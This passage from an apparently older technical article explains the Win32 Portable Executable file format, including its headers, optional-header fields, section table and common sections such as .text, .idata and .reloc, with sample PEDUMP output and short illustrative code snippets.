that distinguishes it from other copies of the application, hence the term
instance handle. In Win32, applications don't need to be distinguished from
one another because they don't share the same address space. Still, the term
HINSTANCE persists to keep continuity between 16-bit Windows and Win32. What's
important for Win32 is that you can call GetModuleHandle for any DLL that your
process uses to get a pointer for accessing the module's components.

The final concept that you need to know about PE files is sections. A section
in a PE file is roughly equivalent to a segment or the resources in an NE
file. Sections contain either code or data. Unlike segments, sections are
blocks of contiguous memory with no size constraints. Some sections contain
code or data that your program declared and uses directly, while other data
sections are created for you by the linker and librarian, and contain
information vital to the operating system. In some descriptions of the PE
format, sections are also referred to as objects. The term object has so many
overloaded meanings that I'll stick to calling the code and data areas
sections.

## The PE Header

Like all other executable file formats, the PE file has a collection of fields
at a known \(or easy to find\) location that define what the rest of the file
looks like. This header contains information such as the locations and sizes
of the code and data areas, what operating system the file is intended for,
the initial stack size, and other vital pieces of information that I'll
discuss shortly. As with other executable formats from Microsoft, this main
header isn't at the very beginning of the file. The first few hundred bytes of
the typical PE file are taken up by the MS-DOS stub. This stub is a tiny
program that prints out something to the effect of "This program cannot be run
in MS-DOS mode." So if you run a Win32-based program in an environment that
doesn't support Win32, you'll get this informative error message. When the
Win32 loader memory maps a PE file, the first byte of the mapped file
corresponds to the first byte of the MS-DOS stub. That's right. With every
Win32-based program you start up, you get an MS-DOS-based program loaded for
free\!

As in other Microsoft executable formats, you find the real header by looking
up its starting offset, which is stored in the MS-DOS stub header. The WINNT.H
file includes a structure definition for the MS-DOS stub header that makes it
very easy to look up where the PE header starts. The e\_lfanew field is a
relative offset \(or RVA, if you prefer\) to the actual PE header. To get a
pointer to the PE header in memory, just add that field's value to the image
base:

Copy

[code]

    // Ignoring typecasts and pointer conversion issues for clarity...
    pNTHeader = dosHeader + dosHeader->e_lfanew;
    
    
[/code]

Once you have a pointer to the main PE header, the fun can begin. The main PE
header is a structure of type IMAGE\_NT\_HEADERS, which is defined in WINNT.H.
This structure is composed of a DWORD and two substructures and is laid out as
follows:

Copy

[code]

    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
    
    
[/code]

The Signature field viewed as ASCII text is "PE\0\0". If after using the
e\_lfanew field in the MS-DOS header, you find an NE signature here rather
than a PE, you're working with a 16-bit Windows NE file. Likewise, an LE in
the signature field would indicate a Windows 3.x virtual device driver
\(VxD\). An LX here would be the mark of a file for OS/2 2.0.

Following the PE signature DWORD in the PE header is a structure of type
IMAGE\_FILE\_HEADER. The fields of this structure contain only the most basic
information about the file. The structure appears to be unmodified from its
original COFF implementations. Besides being part of the PE header, it also
appears at the very beginning of the COFF OBJs produced by the Microsoft Win32
compilers. The fields of the IMAGE\_FILE\_HEADER are shown in Table 2.

**Table 2. IMAGE\_FILE\_HEADER Fields**

`WORD Machine`

    The CPU that this file is intended for. The following CPU IDs are defined: 
0x14d| Intel i860  
---|---  
0x14c| Intel I386 \(same ID used for 486 and 586\)  
0x162| MIPS R3000  
0x166| MIPS R4000  
0x183| DEC Alpha AXP  
`WORD NumberOfSections`

    The number of sections in the file.
`DWORD TimeDateStamp`

    The time that the linker \(or compiler for an OBJ file\) produced this file. This field holds the number of seconds since December 31st, 1969, at 4:00 P.M.
`DWORD PointerToSymbolTable`

    The file offset of the COFF symbol table. This field is only used in OBJ files and PE files with COFF debug information. PE files support multiple debug formats, so debuggers should refer to the IMAGE\_DIRECTORY\_ENTRY\_DEBUG entry in the data directory \(defined later\). 
`DWORD NumberOfSymbols`

    The number of symbols in the COFF symbol table. See above.
`WORD SizeOfOptionalHeader`

    The size of an optional header that can follow this structure. In OBJs, the field is 0. In executables, it is the size of the IMAGE\_OPTIONAL\_HEADER structure that follows this structure.
`WORD Characteristics`

    Flags with information about the file. Some important fields: 
> 0x0001
|

> There are no relocations in this file  
---|---  
> 0x0002
|

> File is an executable image \(not a OBJ or LIB\)  
> 0x2000
|

> File is a dynamic-link library, not a program  
> Other fields are defined in WINNT.H
The third component of the PE header is a structure of type
IMAGE\_OPTIONAL\_HEADER. For PE files, this portion certainly isn't optional.
The COFF format allows individual implementations to define a structure of
additional information beyond the standard IMAGE\_FILE\_HEADER. The fields in
the IMAGE\_OPTIONAL\_HEADER are what the PE designers felt was critical
information beyond the basic information in the IMAGE\_FILE\_HEADER.

All of the fields of the IMAGE\_OPTIONAL\_HEADER aren't necessarily important
to know about \(see Figure 4\). The more important ones to be aware of are the
ImageBase and the Subsystem fields. You can skim or skip the description of
the fields.

**Table 3. IMAGE\_OPTIONAL\_HEADER Fields**

`WORD Magic`

    Appears to be a signature WORD of some sort. Always appears to be set to 0x010B.
`BYTE MajorLinkerVersion`

`BYTE MinorLinkerVersion`

    The version of the linker that produced this file. The numbers should be displayed as decimal values, rather than as hex. A typical linker version is 2.23.
`DWORD SizeOfCode`

    The combined and rounded-up size of all the code sections. Usually, most files only have one code section, so this field matches the size of the .text section. 
`DWORD SizeOfInitializedData`

    This is supposedly the total size of all the sections that are composed of initialized data \(not including code segments.\) However, it doesn't seem to be consistent with what appears in the file.
`DWORD SizeOfUninitializedData`

    The size of the sections that the loader commits space for in the virtual address space, but that don't take up any space in the disk file. These sections don't need to have specific values at program startup, hence the term uninitialized data. Uninitialized data usually goes into a section called .bss.
`DWORD AddressOfEntryPoint`

    The address where the loader will begin execution. This is an RVA, and usually can usually be found in the .text section. 
`DWORD BaseOfCode`

    The RVA where the file's code sections begin. The code sections typically come before the data sections and after the PE header in memory. This RVA is usually 0x1000 in Microsoft Linker-produced EXEs. Borland's TLINK32 looks like it adds the image base to the RVA of the first code section and stores the result in this field.
`DWORD BaseOfData`

    The RVA where the file's data sections begin. The data sections typically come last in memory, after the PE header and the code sections.
`DWORD ImageBase`

    When the linker creates an executable, it assumes that the file will be memory-mapped to a specific location in memory. That address is stored in this field, assuming a load address allows linker optimizations to take place. If the file really is memory-mapped to that address by the loader, the code doesn't need any patching before it can be run. In executables produced for Windows NT, the default image base is 0x10000. For DLLs, the default is 0x400000. In Windows 95, the address 0x10000 can't be used to load 32-bit EXEs because it lies within a linear address region shared by all processes. Because of this, Microsoft has changed the default base address for Win32 executables to 0x400000. Older programs that were linked assuming a base address of 0x10000 will take longer to load under Windows 95 because the loader needs to apply the base relocations.
`DWORD SectionAlignment`

    When mapped into memory, each section is guaranteed to start at a virtual address that's a multiple of this value. For paging purposes, the default section alignment is 0x1000.
`DWORD FileAlignment`

    In the PE file, the raw data that comprises each section is guaranteed to start at a multiple of this value. The default value is 0x200 bytes, probably to ensure that sections always start at the beginning of a disk sector \(which are also 0x200 bytes in length\). This field is equivalent to the segment/resource alignment size in NE files. Unlike NE files, PE files typically don't have hundreds of sections, so the space wasted by aligning the file sections is almost always very small.
`WORD MajorOperatingSystemVersion`

`WORD MinorOperatingSystemVersion`

    The minimum version of the operating system required to use this executable. This field is somewhat ambiguous since the subsystem fields \(a few fields later\) appear to serve a similar purpose. This field defaults to 1.0 in all Win32 EXEs to date.
`WORD MajorImageVersion`

`WORD MinorImageVersion`

    A user-definable field. This allows you to have different versions of an EXE or DLL. You set these fields via the linker /VERSION switch. For example, "LINK /VERSION:2.0 myobj.obj".
`WORD MajorSubsystemVersion`

`WORD MinorSubsystemVersion`

    Contains the minimum subsystem version required to run the executable. A typical value for this field is 3.10 \(meaning Windows NT 3.1\).
`DWORD Reserved1`

    Seems to always be 0.
`DWORD SizeOfImage`

    This appears to be the total size of the portions of the image that the loader has to worry about. It is the size of the region starting at the image base up to the end of the last section. The end of the last section is rounded up to the nearest multiple of the section alignment. 
`DWORD SizeOfHeaders`

    The size of the PE header and the section \(object\) table. The raw data for the sections starts immediately after all the header components.
`DWORD CheckSum`

    Supposedly a CRC checksum of the file. As in other Microsoft executable formats, this field is ignored and set to 0. The one exception to this rule is for trusted services and these EXEs must have a valid checksum.
`WORD Subsystem`

    The type of subsystem that this executable uses for its user interface. WINNT.H defines the following values: 
> NATIVE
|

> 1
|

> Doesn't require a subsystem \(such as a device driver\)  
---|---|---  
> WINDOWS\_GUI
|

> 2
|

> Runs in the Windows GUI subsystem  
> WINDOWS\_CUI
|

> 3
|

> Runs in the Windows character subsystem \(a console app\)  
> OS2\_CUI
|

> 5
|

> Runs in the OS/2 character subsystem \(OS/2 1.x apps only\)  
> POSIX\_CUI
|

> 7
|

> Runs in the Posix character subsystem  
`WORD DllCharacteristics`

    A set of flags indicating under which circumstances a DLL's initialization function \(such as DllMain\) will be called. This value appears to always be set to 0, yet the operating system still calls the DLL initialization function for all four events.
> The following values are defined:
1 |  Call when DLL is first loaded into a process's address space  
---|---  
2 |  Call when a thread terminates  
4 |  Call when a thread starts up  
8 |  Call when DLL exits  
`DWORD SizeOfStackReserve`

    The amount of virtual memory to reserve for the initial thread's stack. Not all of this memory is committed, however \(see the next field\). This field defaults to 0x100000 \(1MB\). If you specify 0 as the stack size to CreateThread, the resulting thread will also have a stack of this same size.
`DWORD SizeOfStackCommit`

    The amount of memory initially committed for the initial thread's stack. This field defaults to 0x1000 bytes \(1 page\) for the Microsoft Linker while TLINK32 makes it two pages. 
`DWORD SizeOfHeapReserve`

    The amount of virtual memory to reserve for the initial process heap. This heap's handle can be obtained by calling GetProcessHeap. Not all of this memory is committed \(see the next field\).
`DWORD SizeOfHeapCommit`

    The amount of memory initially committed in the process heap. The default is one page.
`DWORD LoaderFlags`

    From WINNT.H, these appear to be fields related to debugging support. I've never seen an executable with either of these bits enabled, nor is it clear how to get the linker to set them. The following values are defined: 
1.| Invoke a breakpoint instruction before starting the process  
---|---  
2.| Invoke a debugger on the process after it's been loaded  
`DWORD NumberOfRvaAndSizes`

    The number of entries in the DataDirectory array \(below\). This value is always set to 16 by the current tools.
`IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES] `

    An array of IMAGE\_DATA\_DIRECTORY structures. The initial array elements contain the starting RVA and sizes of important portions of the executable file. Some elements at the end of the array are currently unused. The first element of the array is always the address and size of the exported function table \(if present\). The second array entry is the address and size of the imported function table, and so on. For a complete list of defined array entries, see the IMAGE\_DIRECTORY\_ENTRY\_XXX \#defines in WINNT.H. This array allows the loader to quickly find a particular section of the image \(for example, the imported function table\), without needing to iterate through each of the images sections, comparing names as it goes along. Most array entries describe an entire section's data. However, the IMAGE\_DIRECTORY\_ENTRY\_DEBUG element only encompasses a small portion of the bytes in the .rdata section.
## The Section Table

Between the PE header and the raw data for the image's sections lies the
section table. The section table is essentially a phone book containing
information about each section in the image. The sections in the image are
sorted by their starting address \(RVAs\), rather than alphabetically.

Now I can better clarify what a section is. In an NE file, your program's code
and data are stored in distinct "segments" in the file. Part of the NE header
is an array of structures, one for each segment your program uses. Each
structure in the array contains information about one segment. The information
stored includes the segment's type \(code or data\), its size, and its
location elsewhere in the file. In a PE file, the section table is analogous
to the segment table in the NE file. Unlike an NE file segment table, though,
a PE section table doesn't store a selector value for each code or data chunk.
Instead, each section table entry stores an address where the file's raw data
has been mapped into memory. While sections are analogous to 32-bit segments,
they really aren't individual segments. They're just really memory ranges in a
process's virtual address space.

Another area where PE files differ from NE files is how they manage the
supporting data that your program doesn't use, but the operating system does;
for example, the list of DLLs that the executable uses or the location of the
fixup table. In an NE file, resources aren't considered segments. Even though
they have selectors assigned to them, information about resources is not
stored in the NE header's segment table. Instead, resources are relegated to a
separate table towards the end of the NE header. Information about imported
and exported functions also doesn't warrant its own segment; it's crammed into
the NE header.

The story with PE files is different. Anything that might be considered vital
code or data is stored in a full-fledged section. Thus, information about
imported functions is stored in its own section, as is the table of functions
that the module exports. The same goes for the relocation data. Any code or
data that might be needed by either the program or the operating system gets
its own section.

Before I discuss specific sections, I need to describe the data that the
operating system manages the sections with. Immediately following the PE
header in memory is an array of IMAGE\_SECTION\_HEADERs. The number of
elements in this array is given in the PE header \(the
IMAGE\_NT\_HEADER.FileHeader.NumberOfSections field\). I used PEDUMP to output
the section table and all of the section's fields and attributes. Figure 5
shows the PEDUMP output of a section table for a typical EXE file, and Figure
6 shows the section table in an OBJ file.

**Table 4. A Typical Section Table from an EXE File**

Copy

[code]

    01 .text     VirtSize: 00005AFA  VirtAddr:  00001000
        raw data offs:   00000400  raw data size: 00005C00
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00009220  line #'s:      0000020C
        characteristics: 60000020
          CODE  MEM_EXECUTE  MEM_READ
    
      02 .bss      VirtSize: 00001438  VirtAddr:  00007000
        raw data offs:   00000000  raw data size: 00001600
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: C0000080
          UNINITIALIZED_DATA  MEM_READ  MEM_WRITE
    
      03 .rdata    VirtSize: 0000015C  VirtAddr:  00009000
        raw data offs:   00006000  raw data size: 00000200
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: 40000040
          INITIALIZED_DATA  MEM_READ
    
      04 .data     VirtSize: 0000239C  VirtAddr:  0000A000
        raw data offs:   00006200  raw data size: 00002400
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: C0000040
          INITIALIZED_DATA  MEM_READ  MEM_WRITE
    
      05 .idata    VirtSize: 0000033E  VirtAddr:  0000D000
        raw data offs:   00008600  raw data size: 00000400
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: C0000040
          INITIALIZED_DATA  MEM_READ  MEM_WRITE
    
      06 .reloc    VirtSize: 000006CE  VirtAddr:  0000E000
        raw data offs:   00008A00  raw data size: 00000800
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: 42000040
          INITIALIZED_DATA  MEM_DISCARDABLE  MEM_READ
      
    
[/code]

**Table 5. A Typical Section Table from an OBJ File**

Copy

[code]

    01 .drectve  PhysAddr: 00000000  VirtAddr:  00000000
        raw data offs:   000000DC  raw data size: 00000026
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: 00100A00
          LNK_INFO  LNK_REMOVE
    
      02 .debug$S  PhysAddr: 00000026  VirtAddr:  00000000
        raw data offs:   00000102  raw data size: 000016D0
        relocation offs: 000017D2  relocations:   00000032
        line # offs:     00000000  line #'s:      00000000
        characteristics: 42100048
          INITIALIZED_DATA  MEM_DISCARDABLE  MEM_READ
    
      03 .data     PhysAddr: 000016F6  VirtAddr:  00000000
        raw data offs:   000019C6  raw data size: 00000D87
        relocation offs: 0000274D  relocations:   00000045
        line # offs:     00000000  line #'s:      00000000
        characteristics: C0400040
          INITIALIZED_DATA  MEM_READ  MEM_WRITE
    
      04 .text     PhysAddr: 0000247D  VirtAddr:  00000000
        raw data offs:   000029FF  raw data size: 000010DA
        relocation offs: 00003AD9  relocations:   000000E9
        line # offs:     000043F3  line #'s:      000000D9
        characteristics: 60500020
          CODE  MEM_EXECUTE  MEM_READ
    
      05 .debug$T  PhysAddr: 00003557  VirtAddr:  00000000
        raw data offs:   00004909  raw data size: 00000030
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: 42100048
          INITIALIZED_DATA  MEM_DISCARDABLE  MEM_READ
      
    
[/code]

Each IMAGE\_SECTION\_HEADER has the format described in Figure 7. It's
interesting to note what's missing from the information stored for each
section. First off, notice that there's no indication of any PRELOAD
attributes. The NE file format allows you to specify with the PRELOAD
attribute which segments should be loaded at module load time. The OS/2® 2.0
LX format has something similar, allowing you to specify up to eight pages to
preload. The PE format has nothing like this. Microsoft must be confident in
the performance of Win32 demand-paged loading.

**Table 6. IMAGE\_SECTION\_HEADER Formats**

`BYTE Name[IMAGE_SIZEOF_SHORT_NAME]`

    This is an 8-byte ANSI name \(not UNICODE\) that names the section. Most section names start with a . \(such as ".text"\), but this is not a requirement, as some PE documentation would have you believe. You can name your own sections with either the segment directive in assembly language, or with "\#pragma data\_seg" and "\#pragma code\_seg" in the Microsoft C/C++ compiler. It's important to note that if the section name takes up the full 8 bytes, there's no NULL terminator byte. If you're a printf devotee, you can use %.8s to avoid copying the name string to another buffer where you can NULL-terminate it.
`union {`

` DWORD PhysicalAddress`

` DWORD VirtualSize`

`} Misc; `

    This field has different meanings, in EXEs or OBJs. In an EXE, it holds the actual size of the code or data. This is the size before rounding up to the nearest file alignment multiple. The SizeOfRawData field \(seems a bit of a misnomer\) later on in the structure holds the rounded up value. The Borland linker reverses the meaning of these two fields and appears to be correct. For OBJ files, this field indicates the physical address of the section. The first section starts at address 0. To find the physical address in an OBJ file of the next section, add the SizeOfRawData value to the physical address of the current section.
`DWORD VirtualAddress`

    In EXEs, this field holds the RVA to where the loader should map the section. To calculate the real starting address of a given section in memory, add the base address of the image to the section's VirtualAddress stored in this field. With Microsoft tools, the first section defaults to an RVA of 0x1000. In OBJs, this field is meaningless and is set to 0.
`DWORD SizeOfRawData`

    In EXEs, this field contains the size of the section after it's been rounded up to the file alignment size. For example, assume a file alignment size of 0x200. If the VirtualSize field from above says that the section is 0x35A bytes in length, this field will say that the section is 0x400 bytes long. In OBJs, this field contains the exact size of the section emitted by the compiler or assembler. In other words, for OBJs, it's equivalent to the VirtualSize field in EXEs.
`DWORD PointerToRawData`

    This is the file-based offset of where the raw data emitted by the compiler or assembler can be found. If your program memory maps a PE or COFF file itself \(rather than letting the operating system load it\), this field is more important than the VirtualAddress field. You'll have a completely linear file mapping in this situation, so you'll find the data for the sections at this offset, rather than at the RVA specified in the VirtualAddress field.
`DWORD PointerToRelocations`

    In OBJs, this is the file-based offset to the relocation information for this section. The relocation information for each OBJ section immediately follows the raw data for that section. In EXEs, this field \(and the subsequent field\) are meaningless, and set to 0. When the linker creates the EXE, it resolves most of the fixups, leaving only base address relocations and imported functions to be resolved at load time. The information about base relocations and imported functions is kept in their own sections, so there's no need for an EXE to have per-section relocation data following the raw section data.
`DWORD PointerToLinenumbers`

    This is the file-based offset of the line number table. A line number table correlates source file line numbers to the addresses of the code generated for a given line. In modern debug formats like the CodeView format, line number information is stored as part of the debug information. In the COFF debug format, however, the line number information is stored separately from the symbolic name/type information. Usually, only code sections \(such as .text\) have line numbers. In EXE files, the line numbers are collected towards the end of the file, after the raw data for the sections. In OBJ files, the line number table for a section comes after the raw section data and the relocation table for that section. 
`WORD NumberOfRelocations`

    The number of relocations in the relocation table for this section \(the PointerToRelocations field from above\). This field seems relevant only for OBJ files.
`WORD NumberOfLinenumbers`

    The number of line numbers in the line number table for this section \(the PointerToLinenumbers field from above\).
`DWORD Characteristics`

    What most programmers call flags, the COFF/PE format calls characteristics. This field is a set of flags that indicate the section's attributes \(such as code/data, readable, or writeable,\). For a complete list of all possible section attributes, see the IMAGE\_SCN\_XXX\_XXX \#defines in WINNT.H. Some of the more important flags are shown below:
> 0x00000020 This section contains code. Usually set in conjunction with the
> executable flag \(0x80000000\).
> 0x00000040 This section contains initialized data. Almost all sections
> except executable and the .bss section have this flag set.
> 0x00000080 This section contains uninitialized data \(for example, the .bss
> section\).
> 0x00000200 This section contains comments or some other type of information.
> A typical use of this section is the .drectve section emitted by the
> compiler, which contains commands for the linker.
> 0x00000800 This section's contents shouldn't be put in the final EXE file.
> These sections are used by the compiler/assembler to pass information to the
> linker.
> 0x02000000 This section can be discarded, since it's not needed by the
> process once it's been loaded. The most common discardable section is the
> base relocations \(.reloc\).
> 0x10000000 This section is shareable. When used with a DLL, the data in this
> section will be shared among all processes using the DLL. The default is for
> data sections to be nonshared, meaning that each process using a DLL gets
> its own copy of this section's data. In more technical terms, a shared
> section tells the memory manager to set the page mappings for this section
> such that all processes using the DLL refer to the same physical page in
> memory. To make a section shareable, use the SHARED attribute at link time.
> For example
Copy

[code]

    LINK /SECTION:MYDATA,RWS ...
    
    
[/code]

> tells the linker that the section called MYDATA should be readable,
> writeable, and shared.
> 0x20000000 This section is executable. This flag is usually set whenever the
> "contains code" flag \(0x00000020\) is set.
> 0x40000000 This section is readable. This flag is almost always set for
> sections in EXE files.
> 0x80000000 The section is writeable. If this flag isn't set in an EXE's
> section, the loader should mark the memory mapped pages as read-only or
> execute-only. Typical sections with this attribute are .data and .bss.
> Interestingly, the .idata section also has this attribute set.
Also missing from the PE format is the notion of page tables. The OS/2
equivalent of an IMAGE\_SECTION\_HEADER in the LX format doesn't point
directly to where the code or data for a section can be found in the file.
Instead, it refers to a page lookup table that specifies attributes and the
locations of specific ranges of pages within a section. The PE format
dispenses with all that, and guarantees that a section's data will be stored
contiguously within the file. Of the two formats, the LX method may allow more
flexibility, but the PE style is significantly simpler and easier to work
with. Having written file dumpers for both formats, I can vouch for this\!

Another welcome change in the PE format is that the locations of items are
stored as simple DWORD offsets. In the NE format, the location of almost
everything is stored as a sector value. To find the real offset, you need to
first look up the alignment unit size in the NE header and convert it to a
sector size \(typically 16 or 512 bytes\). You then need to multiply the
sector size by the specified sector offset to get an actual file offset. If by
chance something isn't stored as a sector offset in an NE file, it is probably
stored as an offset relative to the NE header. Since the NE header isn't at
the beginning of the file, you need to drag around the file offset of the NE
header in your code. All in all, the PE format is much easier to work with
than the NE, LX, or LE formats \(assuming you can use memory-mapped files\).

## Common Sections

Having seen what sections are in general and where they're located, let's look
at the common sections that you'll find in EXE and OBJ files. The list is by
no means complete, but includes the sections you encounter every day \(even if
you're not aware of it\).

The .text section is where all general-purpose code emitted by the compiler or
assembler ends up. Since PE files run in 32-bit mode and aren't restricted to
16-bit segments, there's no reason to break the code from separate source
files into separate sections. Instead, the linker concatenates all the .text
sections from the various OBJs into one big .text section in the EXE. If you
use Borland C++ the compiler emits its code to a segment named CODE. PE files
produced with Borland C++ have a section named CODE rather than one called
.text. I'll explain this in a minute.

It was somewhat interesting to me to find out that there was additional code
in the .text section beyond what I created with the compiler or used from the
run-time libraries. In a PE file, when you call a function in another module
\(for example, GetMessage in USER32.DLL\), the CALL instruction emitted by the
compiler doesn't transfer control directly to the function in the DLL \(see
Figure 8\). Instead, the call instruction transfers control to a

Copy

[code]

    JMP DWORD PTR [XXXXXXXX]
      
    
[/code]

instruction that's also in the .text section. The JMP instruction indirects
through a DWORD variable in the .idata section. This .idata section DWORD
contains the real address of the operating system function entry point. After
thinking about this for a while, I came to understand why DLL calls are
implemented this way. By funneling all calls to a given DLL function through
one location, the loader doesn't need to patch every instruction that calls a
DLL. All the PE loader has to do is put the correct address of the target
function into the DWORD in the .idata section. No call instructions need to be
patched. This is in marked contrast to NE files, where each segment contains a
list of fixups that need to be applied to the segment. If the segment calls a
given DLL function 20 times, the loader must write the address of that
function 20 times into the segment. The downside to the PE method is that you
can't initialize a variable with the true address of a DLL function. For
example, you would think that something like

`<img src='img/Temp2_6186.gif' />`

**Figure 2. Calling a function in another module**

Copy

[code]

    FARPROC pfnGetMessage = GetMessage;
    
    
[/code]

would put the address of GetMessage into the variable pfnGetMessage. In 16-bit
Windows, this works, while in Win32 it doesn't. In Win32, the variable
pfnGetMessage will end up holding the address of the JMP DWORD PTR
\[XXXXXXXX\] thunk that I mentioned earlier. If you wanted to call through the
function pointer, things would work as you'd expect. However, if you want to
read the bytes at the beginning of GetMessage, you're out of luck \(unless you
do additional work to follow the .idata "pointer" yourself\). I'll come back
to this topic later, in the discussion of the import table.

Although Borland could have had the compiler emit segments with a name of
.text, it chose a default segment name of CODE. To determine a section name in
the PE file, the Borland linker \(TLINK32.EXE\) takes the segment name from
the OBJ file and truncates it to 8 characters \(if necessary\).

While the difference in the section names is a small matter, there is a more
important difference in how Borland PE files link to other modules. As I
mentioned in the .text description, all calls to OBJs go through a JMP DWORD
PTR \[XXXXXXXX\] thunk. Under the Microsoft system, this thunk comes to the
EXE from the .text section of an import library. Because the library manager
\(LIB32\) creates the import library \(and the thunk\) when you link the
external DLL, the linker doesn't have to "know" how to generate these thunks
itself. The import library is really just some more code and data to link into
the PE file.

The Borland system of dealing with imported functions is simply an extension
of the way things were done for 16-bit NE files. The import libraries that the
Borland linker uses are really just a list of function names along with the
name of the DLL they're in. TLINK32 is therefore responsible for determining
which fixups are to external DLLs, and generating an appropriate JMP DWORD PTR
\[XXXXXXXX\] thunk for it. TLINK32 stores the thunks that it creates in a
section named .icode.

Just as .text is the default section for code, the .data section is where your
initialized data goes. This data consists of global and static variables that
are initialized at compile time. It also includes string literals. The linker
combines all the .data sections from the OBJ and LIB files into one .data
section in the EXE. Local variables are located on a thread's stack, and take
no room in the .data or .bss sections.

The .bss section is where any uninitialized static and global variables are
stored. The linker combines all the .bss sections in the OBJ and LIB files
into one .bss section in the EXE. In the section table, the RawDataOffset
field for the .bss section is set to 0, indicating that this section doesn't
take up any space in the file. TLINK doesn't emit this section. Instead it
extends the virtual size of the DATA section.

.CRT is another initialized data section utilized by the Microsoft C/C++ run-
time libraries \(hence the name\). Why this data couldn't go into the standard
.data section is beyond me.

The .rsrc section contains all the resources for the module. In the early days
of Windows NT, the RES file output of the 16-bit RC.EXE wasn't in a format
that the Microsoft PE linker could understand. The CVTRES program converted
these RES files into a COFF-format OBJ, placing the resource data into a .rsrc
section within the OBJ. The linker could then treat the resource OBJ as just
another OBJ to link in, allowing the linker to not "know" anything special
about resources. More recent linkers from Microsoft appear to be able to
process RES files directly.

The .idata section contains information about functions \(and data\) that the
module imports from other DLLs. This section is equivalent to an NE file's
module reference table. A key difference is that each function that a PE file
imports is specifically listed in this section. To find the equivalent
information in an NE file, you'd have to go digging through the relocations at
the end of the raw data for each of the segments.

The .edata section is a list of the functions and data that the PE file
exports for other modules. Its NE file equivalent is the combination of the
entry table, the resident names table, and the nonresident names table. Unlike
in 16-bit Windows, there's seldom a reason to export anything from an EXE
file, so you usually only see .edata sections in DLLs. When using Microsoft
tools, the data in the .edata section comes to the PE file via the EXP file.
Put another way, the linker doesn't generate this information on its own.
Instead, it relies on the library manager \(LIB32\) to scan the OBJ files and
create the EXP file that the linker adds to its list of modules to link. Yes,
that's right\! Those pesky EXP files are really just OBJ files with a
different extension.

The .reloc section holds a table of base relocations. A base relocation is an
adjustment to an instruction or initialized variable value that's needed if
the loader couldn't load the file where the linker assumed it would. If the
loader is able to load the image at the linker's preferred base address, the
loader completely ignores the relocation information in this section. If you
want to take a chance and hope that the loader can always load the image at
the assumed base address, you can tell the linker to strip this information
with the /FIXED option. While this may save space in the executable file, it
may cause the executable not to work on other Win32-based implementations. For
example, say you built an EXE for Windows NT and based the EXE at 0x10000. If
you told the linker to strip the relocations, the EXE wouldn't run under
Windows 95, where the address 0x10000 is already in use.

It's important to note that the JMP and CALL instructions that the compiler
generates use offsets relative to the instruction, rather than actual offsets
in the 32-bit flat segment. If the image needs to be loaded somewhere other
than where the linker assumed for a base address, these instructions don't
need to change, since they use relative addressing. As a result, there are not
as many relocations as you might think. Relocations are usually only needed
for instructions that use a 32-bit offset to some data. For example, let's say
you had the following global variable declarations:

Copy

[code]

    int i;
    int *ptr = &i;
      
    
[/code]

If the linker assumed an image base of 0x10000, the address of the variable i
will end up containing something like 0x12004. At the memory used to hold the
pointer "ptr", the linker will have written out 0x12004, since that's the
address of the variable i. If the loader for whatever reason decided to load
the file at a base address of 0x70000, the address of i would be 0x72004. The
.reloc section is a list of places in the image where the difference between
the linker assumed load address and the actual load address needs to be
factored in.

When you use the compiler directive \_ \_declspec\(thread\), the data that you
define doesn't go into either the .data or .bss sections. It ends up in the
.tls section, which refers to "thread local storage," and is related to the
TlsAlloc family of Win32 functions. When dealing with a .tls section, the
memory manager sets up the page tables so that whenever a process switches
threads, a new set of physical memory pages is mapped to the .tls section's
address space. This permits per-thread global variables. In most cases, it is
much easier to use this mechanism than to allocate memory on a per-thread
basis and store its pointer in a TlsAlloc'ed slot.

There's one unfortunate note that must be added about the .tls section and \_
\_declspec\(thread\) variables. In Windows NT and Windows 95, this thread
local storage mechanism won't work in a DLL if the DLL is loaded dynamically
by LoadLibrary. In an EXE or an implicitly loaded DLL, everything works fine.
If you can't implicitly link to the DLL, but need per-thread data, you'll have
to fall back to using TlsAlloc and TlsGetValue with dynamically allocated
memory.

Although the .rdata section usually falls between the .data and .bss sections,
your program generally doesn't see or use the data in this section. The .rdata
section is used for at least two things. First, in Microsoft linker-produced
EXEs, the .rdata section holds the debug directory, which is only present in
EXE files. \(In TLINK32 EXEs, the debug directory is in a section named
.debug.\) The debug directory is an array of IMAGE\_DEBUG\_DIRECTORY
structures. These structures hold information about the type, size, and
location of the various types of debug information stored in the file. Three
main types of debug information appear: CodeView®, COFF, and FPO. Figure 9
shows the PEDUMP output for a typical debug directory.

**Table 7. A Typical Debug Directory**

**Type**| **Size**| **Address**| **FilePtr**| **Charactr**| **TimeData**|
**Version**|  
---|---|---|---|---|---|---|---  
COFF| 000065C5| 00000000| 00009200| 00000000| 2CF8CF3D|  | 0.00  
???| 00000114| 00000000| 0000F7C8| 00000000| 2CF8CF3D|  | 0.00  
FPO| 000004B0| 00000000| 0000F8DC| 00000000| 2CF8CF3D|  | 0.00  
CODEVIEW| 0000B0B4| 00000000| 0000FD8C| 00000000| 2CF8CF3D|  | 0.00  
The debug directory isn't necessarily found at the beginning of the .rdata
section. To find the start of the debug directory table, use the RVA in the
seventh entry \(IMAGE\_DIRECTORY\_ENTRY\_DEBUG\) of the data directory. The
data directory is at the end of the PE header portion of the file. To
determine the number of entries in the Microsoft linker-generated debug
directory, divide the size of the debug directory \(found in the size field of
the data directory entry\) by the size of an IMAGE\_DEBUG\_DIRECTORY
structure. TLINK32 emits a simple count, usually 1. The PEDUMP sample program
demonstrates this.

The other useful portion of an .rdata section is the description string. If
you specified a DESCRIPTION entry in your program's DEF file, the specified
description string appears in the .rdata section. In the NE format, the
description string is always the first entry of the nonresident names table.
The description string is intended to hold a useful text string describing the
file. Unfortunately, I haven't found an easy way to find it. I've seen PE
files that had the description string before the debug directory, and other
files that had it after the debug directory. I'm not aware of any consistent
